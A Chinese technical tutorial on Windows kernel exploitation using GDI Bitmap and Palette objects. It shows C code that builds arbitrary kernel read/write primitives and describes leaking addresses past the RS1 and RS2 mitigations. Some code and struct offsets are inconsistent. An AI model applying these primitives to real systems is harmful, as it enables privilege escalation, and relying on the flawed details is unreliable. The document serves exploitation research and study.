GDI 对象利用
0x00 前言
普通显示器是由像素点构成的,显示时采用扫描的方法,这种显示器被称为位映像设备。位映象,就是指一个二维的像素矩阵,Bitmap(位图) 就是采用位映象方法显示和存储的图象。
当一幅图中每个像素点赋予不同的 RGB 值时,就能呈现不同的颜色,用来指定对应颜色的 RGB 表就被称为Palette(调色板 )。
0x01 Bitmap
1.1 基础概念
CreateBitmap
HBITMAP CreateBitmap(
[in] int nWidth, // 位图宽度,像素为单位
[in] int nHeight, // 位图高度,像素为单位
[in] UINT nPlanes, // 设备使用的颜色位面数
[in] UINT nBitCount, // 用来区分单个像素点颜色的位数
[in] const VOID *lpBits // 指向颜色数据数组的指针
如果成功返回创建位图的句柄,如果创建BitMap时 lpBits不指定 则会额外创建池块处理PvScan0。
SURFACE OBJECT
随着位图一样被创建的还有 SURFACE OBJECT
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
它包含了两个结构体: BASEOBJECT 和 SURFOBJ。SURFOBJ.pvScan0 还指向一块名为 Pixel Data 的数据区。
SURFOBJ 官方有详细的定义:
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
GetbitmapBits 和 SetBitmapBits
Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。
LONG GetBitmapBits(
[in] HBITMAP hbit, // 位图的句柄
[in] LONG cb, // 要从位图复制到缓冲区的字节数
[out] LPVOID lpvBits // 指向缓冲区的指针
);
LONG SetBitmapBits(
[in] HBITMAP hbm, // 位图的句柄
[in] DWORD cb, // 指定参数lpBits指向的数组的字节数
[in] const VOID *pvBits // 指向包含指定位图颜色数据的字节数组的指针
);
1.2 Bitmap 任意地址读写(<1607)
Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。pvScan0 和它指向的数据区 Pixel Data 都在内核空间,因此利用GetbitmapBits 和 SetBitmapBits 就可以做到内核空间的读写,但是并不能做到任意地址读写。
如果存在一次任意地址写的机会,就可以通过修改 pvScan0 来获得任意地址读写的能力。
获取 pvScan0 地址的方法
-
NtCurrentTeb 来获得 teb 的基址
-
x64 下 teb 偏移 0x60 获得 peb 的基址
- peb 0xf8 偏移处获得 GdiSharedHandleTable 地址
-
GdiSharedHandleTable 是一个 GDICELL 结构体数组,成员对应进程中的每个GDI对象,数组索引是CreateBitmap 返回的句柄 hBitmap的低十六位,即
index = hBitmap & 0xFFFF
-
GDICELL 结构如下:
typedef struct _GDI_CELL{
PVOID64 pKernelAddress; // 0x00
USHORT wProcessId; // 0x08
USHORT wCount; // 0x0a
USHORT wUpper; // 0x0c
USHORT wType; // 0x0e
PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18
pKernelAddress = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)
-
pKernelAddress 指向 BASEOBJECT ,SURFOBJ 在偏移 0x18 处,
SURFOBJ = BASEOBJECT + 0x18
-
pvScan0 在 SURFOBJ 0x38 偏移处,
pvScan0 = SURFOBJ + 0x38
整体代码为:
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64) hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = *(PDWORD64)pKernelAddress +0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
整体利用思路
-
CreateBitmap 创建两个 Bitmap,获得两个句柄 hManager 和 hWorker
-
获取 hManager 和 hWorker 的 pvScan0 地址
-
利用一次任意地址写的能力,使 hManager 的 pvScan0 的值为 hWorker 的 pvScan0 的地址,即 *hManager_pvScan0 = hWorker_pvScan0
-
任意写(完成向 0x1234 地址写入 0xAAAA):
- 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234
- 利用 SetBitmapBits 向 hWorker_pvScan0 指向的地址写入 0xAAAA
- 任意读(完成读取 0x1234 地址的值)
- 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234
- 利用 GetBitmapBits 读取 hManager_pvScan0 指向的地址的值
代码如下:
#include <stdio.h>
#include <Windows.h>
DWORD64 GetpvScan0Addr(HBITMAP hBitmap)
{
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = pKernelAddress + 0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
return pvScan0Addr;
}
VOID ReadOOB(HBITMAP hManager,HBITMAP hWorker,DWORD64 writeAddr, LPVOID readValue, int len)
{
SetBitmapBits(hManager,len,&writeAddr);
GetBitmapBits(hWorker, len, readValue);
}
VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len)
{
SetBitmapBits(hManager, len, &writeAddr);
SetBitmapBits(hWorker, len, writeValue);
}
int main()
{
HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}
1.3 绕过 RS1 缓解措施(<1703)
Windows RS1 对 Bitmap 做了缓解措施,GdiSharedHandleTable
不再透露内核地址。,因此通过 pKernelAddress 找到 pvScan0 地址的方法失效了。
Windows 中共有三种类型的对象,分别是 User object、GDI object、Kernel object。Bitmap 属于 GDI object,存在换页对象池:
Accelerator table 对象属于 User object,也存在于换页会话池中。Accelerator table 对象地址可以通过 pKernel 获得,因此如果可以让 Bitmap 对象重用 Accelerator table 对象,就可以再次找到 pvScan0 地址。
获取对象地址
user32.dll 有一个全局变量结构—gSharedInfo,结构如下
typedef struct _SHAREDINFO{ PSERVERINFO psi; PHANDLEENTRY aheList; ULONG_PTR HeEntrySize; PDISPLAYINFO pDisplayInfo; ULONG_PTR ulSharedDelta; WNDMSG awmControl[27]; WNDMSG awmControl[31]; WNDMSG DefWindowMsgs; WNDMSG DefWindowSpecMsgs;} SHAREDINFO, *PSHAREDINFO;
ahelist 是一个指向一张结构为 USER_HANDLE_ENTRY 的表,其结构如下:
typedef struct _USER_HANDLE_ENTRY { void* pKernel; union { PVOID pi; PVOID pti; PVOID ppi; }; BYTE type; BYTE flags; WORD generation;} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
首地址就指向 pKernel,与 GDICELL 结构数组中的 pKernelAddress 一样,通过相同的计算方式就可以获得该对象地址。
对象重用
类似堆喷的手法,创建多个 Accelerator table 对象再销毁,再创建 Bitmap 对象,使其复用。
1.4 绕过 RS2 缓解措施(<1709)
微软在 RS2 把 HADNLE_ENRTY结构体的pkernel 禁掉了,因此通过 Accelerator table 重用的方式也就失效了。
微软的缓解措施要去绕过,其本质也是泄露 Windows 对象,释放再申请 Bitmap,从而泄露 Bitmap 对象的地址。
这里就涉及到两个概念,一个是窗口菜单名 lpszMenuName,一个是 HMValidateHandle。
HMValidateHandle 可以通过传入窗口句柄,获得在桌面堆的 tagWnd 指针,通过这个指针可以泄露出内核地址(详情见https://ryze-t.com/posts/2021/09/08/HMValidateHandle.html)。
lpszMenuName 指向的是存放菜单名的 paged pool,通过 tagWnd 找到 lpszMenuName 对象的地址,类似于 Accelerator table 的形式获取到 pvScan0 的地址。
0x02 Palette
Bitmap 的问题在 RS3(1709) 终于被解决,于是又出现了新的解决办法—Palette,Palette 的利用方式与 Bitmap相似
1.1 基础概念
Palette 结构如下:
typedef struct _PALETTE64{ BASEOBJECT64 BaseObject; // 0x00 FLONG flPal; // 0x18 ULONG32 cEntries; // 0x1C ULONG32 ulTime; // 0x20 HDC hdcHead; // 0x24 ULONG64 hSelected; // 0x28, ULONG64 cRefhpal; // 0x30 ULONG64 cRefRegular; // 0x34 ULONG64 ptransFore; // 0x3c ULONG64 ptransCurrent; // 0x44 ULONG64 ptransOld; // 0x4C ULONG32 unk_038; // 0x38 ULONG64 pfnGetNearest; // 0x3c ULONG64 pfnGetMatch; // 0x40 ULONG64 ulRGBTime; // 0x44 ULONG64 pRGBXlate; // 0x48 PALETTEENTRY *pFirstColor; // 0x80 struct _PALETTE *ppalThis; // 0x88 PALETTEENTRY apalColors[3]; // 0x90}
该结构偏移 0x80 处存在一个指针 pFirstColor,指向的是偏移 0x90 的 4 字节数组 apalColors。
类比与 Bitmap,pFirstColor 就是 pvScan0, apalColors[3] 就是 pixel Data。
PALETTEENTRY 结构如下:
class PALETTEENTRY(Structure): _fields_ = [ ("peRed", BYTE), ("peGreen", BYTE), ("peBlue", BYTE), ("peFlags", BYTE) ]
1.2 CreatePalette
CreatePalette 创建一个逻辑调色板,具体函数用法如下:
HPALETTE CreatePalette( [in] const LOGPALETTE *plpal);
LOGPALETTE 结构如下:
typedef struct tagLOGPALETTE { WORD palVersion; // 0x300 WORD palNumEntries; // palNumEntries = (size-0x90)/4 PALETTEENTRY palPalEntry[1];} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;
1.3 GetPaletteEntries/SetPaletteEntries
与 Bitmap 类似,Palette 中也有类似 API,让我们可以操作 apalColors[3]。
UINT GetPaletteEntries( [in] HPALETTE hpal, // palette 句柄 [in] UINT iStart, // 要提取的逻辑调色板中的第一项 [in] UINT cEntries, // 要提取的逻辑调色板中的项数 [out] LPPALETTEENTRY pPalEntries // 接受调色项目的PALETTEENTRY结构数组的指针,该数组所含结构的数目至少为nEntries参数指定的数目);
UINT SetPaletteEntries( [in] HPALETTE hpal, // palette 句柄 [in] UINT iStart, // 要设置的逻辑调色板中的第一项 [in] UINT cEntries, // 要设置的逻辑调色板中的项数 [in] const PALETTEENTRY *pPalEntries // 指向包含RGB值和标志的PALETTEENTRY结构数组的第一个元素);
1.4 利用思路
整体利用思路与 Bitmap 类似。
新建两个 Palette object:hWorker 和 hManager,利用堆喷射的手法获取到两个对象的pFirstColor指针的内核地址,将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址,利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x1234,利用 SetPaletteEntries 往 0x1234 中写入 0xABCD;利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x4321,利用 GetPaletteEntries 从 0x4321 中读取相应值。
-